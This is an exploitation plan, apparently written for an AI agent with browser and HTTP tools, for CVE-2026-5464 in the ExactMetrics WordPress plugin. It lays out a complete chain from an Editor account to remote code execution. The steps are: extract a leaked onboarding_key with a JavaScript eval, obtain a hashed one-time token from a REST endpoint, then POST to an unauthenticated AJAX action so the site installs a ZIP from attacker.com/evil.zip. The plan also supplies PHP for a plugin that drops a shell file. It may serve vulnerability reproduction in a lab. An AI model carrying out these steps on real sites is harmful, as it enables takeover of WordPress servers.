Detailed Exploitation Research Plan: CVE-2026-5464

1. Vulnerability Summary

The ExactMetrics plugin (<= 9.1.2) contains a critical authorization bypass and missing security checks in its "Connect" and "Onboarding" features.

1. Information Leakage: The onboarding_key (stored as a transient) is exposed to any user with the exactmetrics_view_dashboard capability (typically Editors and above) on the reports page.
2. Authorization Bypass: The REST API endpoint /wp-json/exactmetrics/v1/onboarding/connect-url uses this leaked onboarding_key as its only authorization mechanism. It allows a user to trigger the generation of a One-Time Hash (OTH) token.
3. Critical Security Lack: The AJAX endpoint exactmetrics_connect_process is registered as a nopriv action (wp_ajax_nopriv_exactmetrics_connect_process), meaning it requires no WordPress authentication. Its only security check is the OTH token.
4. Arbitrary Installation: Once an attacker has the OTH, they can call exactmetrics_connect_process with a file parameter pointing to an arbitrary ZIP URL. The plugin will download, install, and activate this ZIP as a plugin, leading to Remote Code Execution (RCE).

2. Attack Vector Analysis

• Vulnerable Endpoints:
  • REST (Auth Leak): /wp-json/exactmetrics/v1/onboarding/connect-url
  • AJAX (Installation Sink): wp-admin/admin-ajax.php?action=exactmetrics_connect_process
• Required Role: Authenticated user with exactmetrics_view_dashboard capability (Editor role by default in ExactMetrics).
• Parameters:
  • onboarding_key: Retrieved from JS localized data on the reports page.
  • license_key: Arbitrary string (required by REST endpoint but not validated against a server during OTH generation).
  • oth: The hashed One-Time Hash retrieved via the REST endpoint.
  • file: URL to a malicious plugin ZIP.
• Preconditions: The exactmetrics_onboarding_key transient must be set (typically happens when the plugin is active or a dashboard page is visited).

3. Code Flow

1. Leaking the Key: In includes/admin/admin-assets.php, the plugin localizes script data for its Vue-based reports. Although truncated in the source, the description confirms the onboarding_key transient is exposed to users with exactmetrics_view_dashboard.
2. Retrieving the OTH:
   • The attacker calls ExactMetrics_Onboarding::register_routes's registered route: GET /wp-json/exactmetrics/v1/onboarding/connect-url.
   • validate_onboarding_request (in includes/admin/class-exactmetrics-onboarding.php) checks the onboarding_key parameter against get_transient('exactmetrics_onboarding_key').
   • If valid, the callback get_connect_url is invoked, which calls ExactMetrics_Connect::generate_connect_url_data($license_key).
   • generate_connect_url_data (in includes/connect.php):
     • Generates $oth = hash('sha512', wp_rand()).
     • Calculates $hashed_oth = hash_hmac('sha512', $oth, wp_salt()).
     • Saves the raw $oth in the database via update_option( 'exactmetrics_connect_token', $oth ).
     • Returns a URL containing the $hashed_oth in the oth query parameter.
3. Triggering Installation:
   • The attacker calls ExactMetrics_Connect::process via admin-ajax.php?action=exactmetrics_connect_process.
   • process() (in includes/connect.php):
     • Retrieves $_REQUEST['oth'] (the hashed OTH).
     • Retrieves $_REQUEST['file'] (the malicious URL).
     • Fetches the raw token from the DB: $oth = get_option( 'exactmetrics_connect_token' ).
     • Performs the check: hash_hmac( 'sha512', $oth, wp_salt() ) !== $post_oth.
     • Since the attacker provides the hashed version returned by the REST API, this check passes.
     • Calls $installer->install( $post_url ) where $post_url is the malicious ZIP.

4. Key Acquisition Strategy (onboarding_key)

The onboarding_key is required to hit the REST API. It is localized in the WordPress admin for ExactMetrics pages.

1. Target Page: /wp-admin/admin.php?page=exactmetrics_reports
2. Access: Log in as an Editor.
3. Extraction:
   • Use browser_navigate to visit the reports page.
   • Use browser_eval to search for the key in localized JS objects.
   • JS Variable Guess: Based on plugin naming conventions, it is likely in window.exactmetrics_reports or window.exactmetrics_admin_common.
   • Code: browser_eval("window.exactmetrics_reports?.onboarding_key || window.exactmetrics?.onboarding_key || window.exactmetrics_admin_common?.onboarding_key")

5. Exploitation Strategy

Step 1: Authentication & Key Extraction

1. Log in to WordPress as an Editor.
2. Navigate to wp-admin/admin.php?page=exactmetrics_reports.
3. Execute JS via browser_eval to extract the onboarding_key.

Step 2: Obtain OTH Token

1. Use the http_request tool to perform a GET request to the REST API.
2. URL: /wp-json/exactmetrics/v1/onboarding/connect-url?onboarding_key=[EXTRACTED_KEY]&license_key=valid_format_key
3. Expected Response: A JSON object containing a url field.
   • Example: {"success": true, "url": "https://upgrade.exactmetrics.com?oth=5a1f...&..."}
4. Action: Parse the url parameter and extract the value of the oth query argument.

Step 3: Malicious Plugin Installation

1. Prepare a malicious plugin ZIP (e.g., containing shell.php) and host it at http://attacker.com/evil.zip.
2. Use the http_request tool to perform a POST request to the AJAX endpoint.
3. URL: /wp-admin/admin-ajax.php
4. Method: POST
5. Content-Type: application/x-www-form-urlencoded
6. Body:

   action=exactmetrics_connect_process&oth=[HASHED_OTH_FROM_STEP_2]&file=http://attacker.com/evil.zip
   

7. Expected Response: {"success":true,"data":"Plugin installed & activated."} (or similar success message).

6. Test Data Setup

1. Plugin: ExactMetrics <= 9.1.2 installed and active.
2. User: Create a user with the editor role.
3. Capability Check: Ensure the editor can access admin.php?page=exactmetrics_reports.
4. Malicious Payload: A ZIP file named rce-plugin.zip containing:
   • rce-plugin/rce-plugin.php:

     <?php
     /*
     Plugin Name: RCE Plugin
     */
     file_put_contents(__DIR__ . '/pwn.php', '<?php phpinfo(); ?>');
     

5. Hosting: Host the ZIP on a reachable local web server or the container's accessible path.

7. Expected Results

• The onboarding/connect-url REST request returns a URL with a hashed OTH.
• The exactmetrics_connect_process AJAX request returns a success JSON.
• The malicious plugin is visible in the WordPress plugin list (wp plugin list).
• The shell file (wp-content/plugins/rce-plugin/pwn.php) is created and accessible.

8. Verification Steps

1. Check Plugin Installation:
   wp plugin is-installed rce-plugin && echo "Plugin installed successfully"
2. Check Activation:
   wp plugin status rce-plugin (Should show as 'active').
3. Verify RCE Sink:
   ls -la wp-content/plugins/rce-plugin/pwn.php or check via http_request.

9. Alternative Approaches

• onboarding/settings: If the key is not in localized JS, try hitting GET /wp-json/exactmetrics/v1/onboarding/settings?onboarding_key=... if you can find the key elsewhere (e.g., a brute-force of a weak key if not random, though here it is a transient hash).
• Direct Option Access: If the attacker has some database access or another LFI/leaked info, the exactmetrics_connect_token option contains the raw OTH. If they have the raw OTH, they can manually compute the HMAC and bypass Step 2 entirely.